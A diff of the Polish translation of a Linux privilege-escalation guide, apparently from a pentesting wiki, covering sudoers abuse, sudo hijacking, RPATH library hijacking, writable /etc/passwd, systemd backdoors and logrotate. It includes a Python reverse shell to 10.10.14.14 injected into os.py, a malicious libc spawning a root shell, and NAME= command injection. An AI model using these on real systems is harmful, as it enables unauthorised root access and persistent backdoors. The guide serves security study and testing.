/var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Plik `/etc/sudoers` oraz pliki w katalogu `/etc/sudoers.d` konfigurują, kto może używać `sudo` i w jaki sposób. Te pliki **domyślnie mogą być odczytywane tylko przez użytkownika root i grupę root**.\ -**Jeśli** możesz **odczytać** ten plik, możesz być w stanie **uzyskać jakieś interesujące informacje**, a jeśli możesz **zapisć** dowolny plik, będziesz w stanie **escalate privileges**. +Plik `/etc/sudoers` oraz pliki w katalogu `/etc/sudoers.d` konfigurują, kto może używać `sudo` i w jaki sposób. Te pliki **domyślnie mogą być czytane tylko przez użytkownika root i grupę root**.\ +**Jeśli** możesz **odczytać** ten plik, możesz być w stanie **uzyskać pewne interesujące informacje**, a jeśli możesz **zapisć** jakikolwiek plik, będziesz w stanie **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Jeśli możesz zapisywać, możesz nadużyć tego uprawnienia +Jeśli masz możliwość zapisu, możesz nadużyć tego uprawnienia. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1033,17 +1032,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Istnieją alternatywy dla binarki `sudo`, takie jak `doas` dla OpenBSD — pamiętaj, aby sprawdzić jego konfigurację w `/etc/doas.conf` +Istnieją alternatywy dla programu `sudo`, takie jak `doas` w OpenBSD. Pamiętaj, aby sprawdzić jego konfigurację w `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Jeśli wiesz, że **użytkownik zwykle łączy się z maszyną i używa `sudo`** do eskalacji uprawnień i uzyskałeś shell w kontekście tego użytkownika, możesz **utworzyć nowy executable sudo**, który wykona twój kod jako root, a potem polecenie użytkownika. Następnie **zmodyfikuj $PATH** w kontekście użytkownika (na przykład dodając nową ścieżkę w .bash_profile), tak aby gdy użytkownik uruchomi sudo, wykonany został twój executable sudo. +Jeśli wiesz, że a **user usually connects to a machine and uses `sudo`** do eskalacji uprawnień i uzyskałeś shell w kontekście tego użytkownika, możesz **create a new sudo executable** który wykona twój kod jako root, a następnie polecenie użytkownika. Następnie **modify the $PATH** w kontekście użytkownika (na przykład dodając nową ścieżkę w .bash_profile), tak aby gdy użytkownik uruchomi sudo, wykonywany był twój sudo executable. -Zwróć uwagę, że jeśli użytkownik używa innej powłoki (nie bash), będziesz musiał zmodyfikować inne pliki, aby dodać nową ścieżkę. Na przykład [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modyfikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Inny przykład znajdziesz w [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Zwróć uwagę, że jeśli użytkownik używa innej powłoki (nie bash), będziesz musiał zmodyfikować inne pliki, aby dodać nową ścieżkę. Na przykład[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modyfikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Możesz znaleźć inny przykład w [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Albo uruchamiając coś takiego: +Albo uruchamiając coś w stylu: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Kopiując lib do `/var/tmp/flag15/`, zostanie ona użyta przez program w tym miejscu, zgodnie z wartością zmiennej `RPATH`. +Kopiując bibliotekę do `/var/tmp/flag15/`, program użyje jej w tym miejscu, zgodnie z wartością zmiennej `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1094,7 +1093,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Następnie stwórz złośliwą bibliotekę w `/var/tmp` używając `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Następnie utwórz złośliwą bibliotekę w `/var/tmp` przy użyciu `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1107,9 +1106,9 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Uprawnienia +## Capabilities -Linux capabilities zapewniają **podzbiór dostępnych uprawnień roota dla procesu**. To efektywnie rozbija uprawnienia roota na **mniejsze i odrębne jednostki**. Każdej z tych jednostek można następnie niezależnie przydzielać procesom. W ten sposób pełen zestaw uprawnień jest zredukowany, zmniejszając ryzyko wykorzystania.\ +Linux capabilities dostarczają **podzbiór dostępnych uprawnień roota dla procesu**. To efektywnie rozbija uprawnienia roota **na mniejsze i odrębne jednostki**. Każdej z tych jednostek można następnie niezależnie przyznać procesom. W ten sposób pełny zestaw uprawnień jest zredukowany, zmniejszając ryzyko wykorzystania luki.\ Przeczytaj następującą stronę, aby **dowiedzieć się więcej o capabilities i jak je nadużywać**: @@ -1117,14 +1116,14 @@ Przeczytaj następującą stronę, aby **dowiedzieć się więcej o capabilities linux-capabilities.md {{#endref}} -## Uprawnienia katalogu +## Directory permissions -W katalogu, **bit for "execute"** oznacza, że użytkownik może **cd** do folderu.\ -Bit **"read"** oznacza, że użytkownik może **list** **pliki**, a bit **"write"** oznacza, że użytkownik może **delete** i **create** nowe **pliki**. +W katalogu, **bit for "execute"** oznacza, że użytkownik może **"cd"** do folderu.\ +Bit **"read"** oznacza, że użytkownik może **lista** **plików**, a bit **"write"** oznacza, że użytkownik może **usuwać** i **tworzyć** nowe **pliki**. ## ACLs -Access Control Lists (ACLs) reprezentują drugą warstwę uprawnień dyskrecjonalnych, zdolną do **nadpisywania tradycyjnych uprawnień ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do plików lub katalogów poprzez umożliwienie przyznawania lub odmawiania praw konkretnym użytkownikom, którzy nie są właścicielami ani nie należą do grupy. Ten poziom **szczegółowości zapewnia precyzyjniejsze zarządzanie dostępem**. Dalsze szczegóły można znaleźć [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Listy kontroli dostępu (ACLs) stanowią dodatkową warstwę uprawnień dyskrecjonalnych, zdolną **nadpisać tradycyjne uprawnienia ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do pliku lub katalogu poprzez umożliwienie lub odmowę praw konkretnym użytkownikom, którzy nie są właścicielami ani nie należą do grupy. Ten poziom **szczegółowości zapewnia precyzyjniejsze zarządzanie dostępem**. Dalsze szczegóły można znaleźć [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). **Nadaj** użytkownikowi "kali" uprawnienia read i write do pliku: ```bash @@ -1137,10 +1136,10 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Otwarte sesje shell +## Otwarte shell sessions -W **starych wersjach** możesz **hijack** sesję **shell** innego użytkownika (**root**).\ -W **najnowszych wersjach** będziesz mógł **connect** do screen sessions tylko **własnego użytkownika**. Jednak możesz znaleźć **ciekawych informacji wewnątrz sesji**. +W **starszych wersjach** możesz **hijack** jakąś **shell session** innego użytkownika (**root**).\ +W **najnowszych wersjach** będziesz mógł **połączyć się** tylko do screen sessions należących do **twojego własnego użytkownika**. Jednak możesz znaleźć **interesujące informacje w sesji**. ### screen sessions hijacking @@ -1157,11 +1156,11 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## Przejęcie sesji tmux +## tmux sessions hijacking -To był problem ze **starymi wersjami tmux**. Nie mogłem przejąć sesji tmux (v2.1) utworzonej przez root jako użytkownik bez uprawnień. +To był problem ze **starymi wersjami tmux**. Nie udało mi się hijackować sesji tmux (v2.1) utworzonej przez root jako nieuprzywilejowany użytkownik. -**Wylistuj sesje tmux** +**Wyświetl sesje tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1185,22 +1184,22 @@ Sprawdź **Valentine box from HTB** dla przykładu. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Wszystkie klucze SSL i SSH wygenerowane w systemach opartych na Debianie (Ubuntu, Kubuntu, itp.) między wrześniem 2006 a 13 maja 2008 mogą być dotknięte tym błędem.\ -Ten błąd występuje podczas tworzenia nowego klucza ssh w tych systemach, ponieważ **możliwych było tylko 32,768 wariantów**. Oznacza to, że wszystkie możliwości można obliczyć i **posiadając publiczny klucz ssh możesz wyszukać odpowiadający mu klucz prywatny**. Obliczone możliwości znajdziesz tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Wszystkie klucze SSL i SSH wygenerowane na systemach opartych na Debianie (Ubuntu, Kubuntu, itp.) między wrześniem 2006 a 13 maja 2008 mogą być podatne na ten błąd.\ +Błąd ten występuje podczas tworzenia nowego klucza ssh w tych systemach operacyjnych, ponieważ **możliwe były tylko 32,768 warianty**. Oznacza to, że wszystkie możliwości można obliczyć i **mając publiczny klucz ssh możesz wyszukać odpowiadający mu klucz prywatny**. Możesz znaleźć obliczone możliwości tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### Interesujące wartości konfiguracji SSH +### SSH Interesting configuration values - **PasswordAuthentication:** Określa, czy uwierzytelnianie hasłem jest dozwolone. Domyślnie `no`. -- **PubkeyAuthentication:** Określa, czy uwierzytelnianie za pomocą klucza publicznego jest dozwolone. Domyślnie `yes`. -- **PermitEmptyPasswords**: Gdy uwierzytelnianie hasłem jest dozwolone, określa, czy serwer pozwala na logowanie do kont z pustymi hasłami. Domyślnie `no`. +- **PubkeyAuthentication:** Określa, czy uwierzytelnianie przy użyciu klucza publicznego jest dozwolone. Domyślnie `yes`. +- **PermitEmptyPasswords**: Gdy uwierzytelnianie hasłem jest dozwolone, określa, czy serwer zezwala na logowanie do kont z pustymi hasłami. Domyślnie `no`. ### PermitRootLogin -Określa, czy root może się logować przez ssh, domyślnie `no`. Możliwe wartości: +Określa, czy root może logować się przez ssh, domyślnie `no`. Możliwe wartości: -- `yes`: root może się logować używając hasła i klucza prywatnego -- `without-password` or `prohibit-password`: root może się logować tylko kluczem prywatnym -- `forced-commands-only`: root może się logować tylko za pomocą klucza prywatnego i tylko jeśli określono opcje `command` +- `yes`: root może się zalogować używając hasła i klucza prywatnego +- `without-password` or `prohibit-password`: root może logować się tylko przy użyciu klucza prywatnego +- `forced-commands-only`: Root może logować się tylko używając klucza prywatnego i jeśli opcja commands jest określona - `no` : nie ### AuthorizedKeysFile @@ -1209,102 +1208,95 @@ Określa pliki zawierające klucze publiczne, które mogą być użyte do uwierz ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Ta konfiguracja wskaże, że jeśli spróbujesz zalogować się przy użyciu **private** key użytkownika "**testusername**" ssh porówna public key twojego key z tymi znajdującymi się w `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` +Ta konfiguracja wskaże, że jeśli spróbujesz zalogować się przy użyciu **private** key użytkownika "**testusername**", ssh porówna public key twojego klucza z tymi znajdującymi się w `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding pozwala Ci **use your local SSH keys instead of leaving keys** (without passphrases!) na serwerze. Dzięki temu będziesz mógł **jump** via ssh **to a host** i stamtąd **jump to another** host **using** the **key** located in your **initial host**. +SSH agent forwarding pozwala Ci **use your local SSH keys instead of leaving keys** (bez passphrases!) siedzących na Twoim serwerze. Dzięki temu będziesz mógł **jump** via ssh **to a host** i stamtąd **jump to another** host **using** the **key** located in your **initial host**. Musisz ustawić tę opcję w `$HOME/.ssh.config` w następujący sposób: ``` Host example.com ForwardAgent yes ``` -Zauważ, że jeśli `Host` jest `*`, za każdym razem gdy użytkownik przełączy się na inną maszynę, ta maszyna będzie miała dostęp do kluczy (co stanowi problem bezpieczeństwa). +Zauważ, że jeśli `Host` to `*`, za każdym razem gdy użytkownik przełączy się na inną maszynę, ta maszyna będzie miała dostęp do kluczy (co stanowi problem bezpieczeństwa). -Plik `/etc/ssh_config` może **nadpisać** te **opcje** i zezwolić lub zabronić tej konfiguracji.\ -Plik `/etc/sshd_config` może **zezwalać** lub **zabraniać** ssh-agent forwarding za pomocą słowa kluczowego `AllowAgentForwarding` (domyślnie zezwolone). +Plik `/etc/ssh_config` może **nadpisywać** te **opcje** i pozwalać lub zabraniać tej konfiguracji.\ +Plik `/etc/sshd_config` może **zezwalać** lub **zabraniać** ssh-agent forwarding za pomocą słowa kluczowego `AllowAgentForwarding` (domyślnie zezwala). -Jeśli zauważysz, że Forward Agent jest skonfigurowany w środowisku, przeczytaj następującą stronę — **możesz być w stanie wykorzystać to do eskalacji uprawnień**: +Jeśli odkryjesz, że Forward Agent jest skonfigurowany w środowisku, przeczytaj następującą stronę, ponieważ **you may be able to abuse it to escalate privileges**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## Interesujące pliki +## Ciekawe pliki ### Pliki profili -Plik `/etc/profile` oraz pliki w katalogu `/etc/profile.d/` to **skrypty, które są uruchamiane, gdy użytkownik uruchamia nową powłokę**. Dlatego, jeśli możesz **zapisać lub zmodyfikować którykolwiek z nich, możesz eskalować uprawnienia**. +Plik `/etc/profile` oraz pliki w katalogu `/etc/profile.d/` to **skrypty, które są wykonywane, gdy użytkownik uruchamia nową powłokę**. Zatem, jeśli możesz **zapisać lub zmodyfikować którykolwiek z nich, you can escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Jeśli znajdziesz jakiś podejrzany skrypt profilu, powinieneś sprawdzić go pod kątem **wrażliwych informacji**. +Jeśli znajdziesz jakiś dziwny skrypt profilu, powinieneś sprawdzić go pod kątem **wrażliwych informacji**. -### Pliki passwd/shadow +### Passwd/Shadow Files -W zależności od systemu operacyjnego pliki `/etc/passwd` i `/etc/shadow` mogą mieć inną nazwę lub może istnieć ich kopia zapasowa. Dlatego zaleca się **odnaleźć je wszystkie** i **sprawdzić, czy można je odczytać**, aby zobaczyć **czy są w nich hashes**: +W zależności od systemu operacyjnego pliki `/etc/passwd` i `/etc/shadow` mogą mieć inną nazwę lub może istnieć ich kopia zapasowa. Dlatego zaleca się **znaleźć wszystkie** i **sprawdzić, czy możesz je odczytać**, aby zobaczyć **czy w nich są hashes**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -W niektórych przypadkach można znaleźć **password hashes** w pliku `/etc/passwd` (lub równoważnym) +W niektórych przypadkach możesz znaleźć **password hashes** w pliku `/etc/passwd` (lub równoważnym). ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### /etc/passwd z prawem zapisu +### Zapisywalny /etc/passwd -Najpierw wygeneruj hasło używając jednej z następujących komend. +Najpierw wygeneruj hasło jednym z następujących poleceń. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Nie widzę zawartości pliku src/linux-hardening/privilege-escalation/README.md. Proszę wklej treść pliku, którą mam przetłumaczyć. - -Dodatkowo: czy chcesz, żebym -- wygenerował losowe hasło i wstawił je w tłumaczeniu (podając je jawnie), oraz -- dodał instrukcję/komendy do utworzenia użytkownika `hacker` (np. polecenia useradd/passwd)? - -Uwaga: nie mogę wykonać zmian na Twoim systemie — mogę tylko dostarczyć przetłumaczony plik i polecenia do uruchomienia lokalnie. +Następnie dodaj użytkownika `hacker` i ustaw wygenerowane hasło. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Np: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Przykład: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Teraz możesz użyć polecenia `su` z `hacker:hacker` -Alternatywnie, możesz użyć poniższych linii, aby dodać użytkownika testowego bez hasła.\ -UWAGA: możesz obniżyć aktualne bezpieczeństwo maszyny. +Alternatywnie możesz użyć poniższych linii, aby dodać użytkownika testowego bez hasła.\ UWAGA: możesz obniżyć bieżące bezpieczeństwo maszyny. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -UWAGA: Na platformach BSD `/etc/passwd` znajduje się pod `/etc/pwd.db` i `/etc/master.passwd`, natomiast `/etc/shadow` zostało przemianowane na `/etc/spwd.db`. +UWAGA: Na platformach BSD `/etc/passwd` znajduje się w `/etc/pwd.db` i `/etc/master.passwd`, a także `/etc/shadow` został przemianowany na `/etc/spwd.db`. Powinieneś sprawdzić, czy możesz **zapisać do niektórych wrażliwych plików**. Na przykład, czy możesz zapisać do jakiegoś **pliku konfiguracyjnego usługi**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Na przykład, jeśli na maszynie działa serwer **tomcat** i możesz **zmodyfikować plik konfiguracyjny usługi Tomcat w /etc/systemd/,** możesz zmodyfikować następujące linie: +Na przykład, jeśli maszyna uruchamia serwer **tomcat** i możesz **zmodyfikować plik konfiguracji usługi Tomcat znajdujący się w /etc/systemd/,** wtedy możesz zmodyfikować linie: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Twój backdoor zostanie wykonany przy następnym uruchomieniu tomcat. +Twój backdoor zostanie wykonany następnym razem, gdy tomcat zostanie uruchomiony. ### Sprawdź katalogi -Poniższe foldery mogą zawierać kopie zapasowe lub interesujące informacje: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Prawdopodobnie nie będziesz w stanie odczytać ostatniego, ale spróbuj) +Następujące katalogi mogą zawierać kopie zapasowe lub interesujące informacje: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Prawdopodobnie nie będziesz w stanie odczytać ostatniego, ale spróbuj) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Dziwna lokalizacja/Owned files +### Nietypowa lokalizacja/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1325,7 +1317,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Pliki Sqlite DB +### Pliki DB Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1337,12 +1329,12 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries w PATH** +### **Skrypty/binaria w PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **Pliki webowe** +### **Pliki Web** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1353,22 +1345,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Znane pliki zawierające hasła +### Znane pliki zawierające passwords -Przejrzyj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), przeszukuje on **wiele potencjalnych plików, które mogą zawierać hasła**.\ -**Innym ciekawym narzędziem** którego możesz użyć, jest: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) które jest otwartoźródłową aplikacją służącą do odzyskiwania wielu haseł przechowywanych na lokalnym komputerze dla Windows, Linux & Mac. +Przeczytaj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), on przeszukuje **wiele możliwych plików, które mogą zawierać passwords**.\ +**Innym interesującym narzędziem**, którego możesz użyć w tym celu, jest: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — aplikacja open source służąca do odzyskiwania dużej ilości passwords przechowywanych na lokalnym komputerze dla Windows, Linux & Mac. -### Logi +### Logs -Jeśli potrafisz czytać logi, możesz znaleźć w nich **interesujące/poufne informacje**. Im dziwniejszy log, tym prawdopodobniej będzie bardziej interesujący.\ -Również niektóre **źle** skonfigurowane (z backdoorem?) **audit logs** mogą pozwolić na **zarejestrowanie haseł** wewnątrz audit logs, jak wyjaśniono w tym wpisie: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Jeśli potrafisz czytać logs, możesz znaleźć w nich interesujące/poufne informacje. Im dziwniejszy log, tym prawdopodobnie bardziej interesujący.\ +Ponadto niektóre źle skonfigurowane (backdoored?) audit logs mogą pozwolić na zarejestrowanie passwords w audit logs, jak wyjaśniono w tym poście: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/]. ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` Aby **czytać logi**, grupa [**adm**](interesting-groups-linux-pe/index.html#adm-group) będzie naprawdę pomocna. -### Pliki powłoki +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1381,41 +1373,41 @@ Aby **czytać logi**, grupa [**adm**](interesting-groups-linux-pe/index.html#adm ``` ### Generic Creds Search/Regex -Powinieneś także sprawdzić pliki zawierające słowo "**password**" w **nazwie** lub w **zawartości**, a także sprawdzić IPs i emails w logach lub hashes regexps.\ -Nie będę tutaj opisywać, jak wykonać to wszystko, ale jeśli jesteś zainteresowany, możesz sprawdzić ostatnie sprawdzenia, które wykonuje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). +Powinieneś też sprawdzić pliki zawierające słowo "**password**" w **nazwie** lub w **zawartości**, a także wyszukać IP i adresy e‑mail w logach oraz hashe przy użyciu regexpów.\ +Nie będę tu wypisywać, jak to wszystko zrobić, ale jeśli Cię to interesuje możesz sprawdzić ostatnie sprawdzenia, które wykonuje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). ## Pliki zapisywalne ### Python library hijacking -Jeśli wiesz, **z jakiego miejsca** skrypt python będzie uruchamiany i **możesz zapisać w** tym folderze lub możesz **modyfikować python libraries**, możesz zmodyfikować bibliotekę OS i backdoorować ją (jeśli możesz zapisać tam, gdzie skrypt python będzie uruchamiany, skopiuj i wklej bibliotekę os.py). +If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). -To **backdoor the library** po prostu dodaj na końcu biblioteki os.py następującą linię (zmień IP i PORT): +To **backdoor the library** just add at the end of the os.py library the following line (zmień IP i PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Wykorzystanie logrotate +### Logrotate exploitation -Luka w `logrotate` pozwala użytkownikom z **uprawnieniami zapisu** do pliku logu lub jego katalogów nadrzędnych potencjalnie uzyskać eskalację uprawnień. Dzieje się tak, ponieważ `logrotate`, często uruchamiany jako **root**, może być zmanipulowany do wykonania dowolnych plików, szczególnie w katalogach takich jak _**/etc/bash_completion.d/**_. Ważne jest sprawdzenie uprawnień nie tylko w _/var/log_, ale także we wszystkich katalogach, w których stosuje się rotację logów. +Luka w `logrotate` pozwala użytkownikom z **uprawnieniami do zapisu** w pliku logu lub w jego katalogach nadrzędnych potencjalnie uzyskać podwyższone uprawnienia. Dzieje się tak, ponieważ `logrotate`, często uruchamiany jako **root**, może być zmanipulowany, by wykonać dowolne pliki, szczególnie w katalogach takich jak _**/etc/bash_completion.d/**_. Ważne jest sprawdzenie uprawnień nie tylko w _/var/log_, ale też we wszystkich katalogach, gdzie stosowana jest rotacja logów. > [!TIP] > Ta luka dotyczy `logrotate` w wersji `3.18.0` i starszych -Szczegółowe informacje o luce można znaleźć na tej stronie: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Bardziej szczegółowe informacje o luce można znaleźć na tej stronie: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Możesz wykorzystać tę lukę za pomocą [**logrotten**](https://github.com/whotwagner/logrotten). +Możesz wykorzystać tę lukę przy pomocy [**logrotten**](https://github.com/whotwagner/logrotten). -Ta luka jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** więc za każdym razem, gdy stwierdzisz, że możesz modyfikować logi, sprawdź, kto nimi zarządza i czy możesz eskalować uprawnienia, zastępując logi dowiązaniami symbolicznymi. +Ta luka jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** więc zawsze gdy możesz modyfikować logi, sprawdź, kto nimi zarządza i czy możesz eskalować uprawnienia, zastępując logi symlinkami. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. +Jeśli z jakiegoś powodu użytkownik może **zapisać** skrypt `ifcf-` do _/etc/sysconfig/network-scripts_ **lub** może **zmodyfikować** istniejący, to twój **system is pwned**. -Skrypty sieciowe, np. _ifcg-eth0_, są używane do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednak są one \~sourced\~ na Linuxie przez Network Manager (dispatcher.d). +Skrypty sieciowe, na przykład _ifcg-eth0_, służą do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednak są \~sourced\~ w Linuksie przez Network Manager (dispatcher.d). -W moim przypadku atrybut `NAME=` w tych skryptach sieciowych nie jest poprawnie obsługiwany. Jeśli nazwa zawiera **spację/biały znak, system próbuje wykonać część znajdującą się po tej spacji/białym znaku**. To oznacza, że **wszystko po pierwszej spacji jest wykonywane jako root**. +W moim przypadku atrybut `NAME=` w tych skryptach sieciowych nie jest obsługiwany poprawnie. Jeśli w nazwie występuje **spacja**, system próbuje wykonać część po spacji. To oznacza, że **wszystko po pierwszej spacji jest wykonywane jako root**. Na przykład: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1423,15 +1415,15 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Uwaga: pusty odstęp między Network a /bin/id_) +(_Zwróć uwagę na spację między Network a /bin/id_) -### **init, init.d, systemd i rc.d** +### **init, init.d, systemd, and rc.d** -Katalog `/etc/init.d` zawiera **skrypty** dla System V init (SysVinit), **klasycznego systemu zarządzania usługami w Linuksie**. Zawiera skrypty do `start`, `stop`, `restart`, i czasami `reload` usług. Mogą być uruchamiane bezpośrednio lub przez dowiązania symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywna ścieżka w systemach Redhat to `/etc/rc.d/init.d`. +Katalog `/etc/init.d` zawiera **skrypty** dla System V init (SysVinit), **klasycznego systemu zarządzania usługami w Linuksie**. Zawiera skrypty do `start`, `stop`, `restart`, a czasami `reload` usług. Mogą być one uruchamiane bezpośrednio lub przez linki symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywną ścieżką w systemach Redhat jest `/etc/rc.d/init.d`. -Z kolei `/etc/init` jest powiązany z **Upstart**, nowszym systemem **zarządzania usługami** wprowadzonym przez Ubuntu, który używa plików konfiguracyjnych do zadań związanych z usługami. Pomimo przejścia na Upstart, skrypty SysVinit wciąż są wykorzystywane obok konfiguracji Upstart ze względu na warstwę kompatybilności w Upstart. +Z kolei `/etc/init` jest powiązany z **Upstart**, nowszym **systemem zarządzania usługami** wprowadzonym przez Ubuntu, używającym plików konfiguracyjnych do zarządzania usługami. Pomimo przejścia na Upstart, skrypty SysVinit są nadal używane obok konfiguracji Upstart ze względu na warstwę kompatybilności w Upstart. -**systemd** pojawia się jako nowoczesny menedżer init i usług, oferując zaawansowane funkcje takie jak uruchamianie daemonów na żądanie, zarządzanie automount i snapshoty stanu systemu. Organizuje pliki w 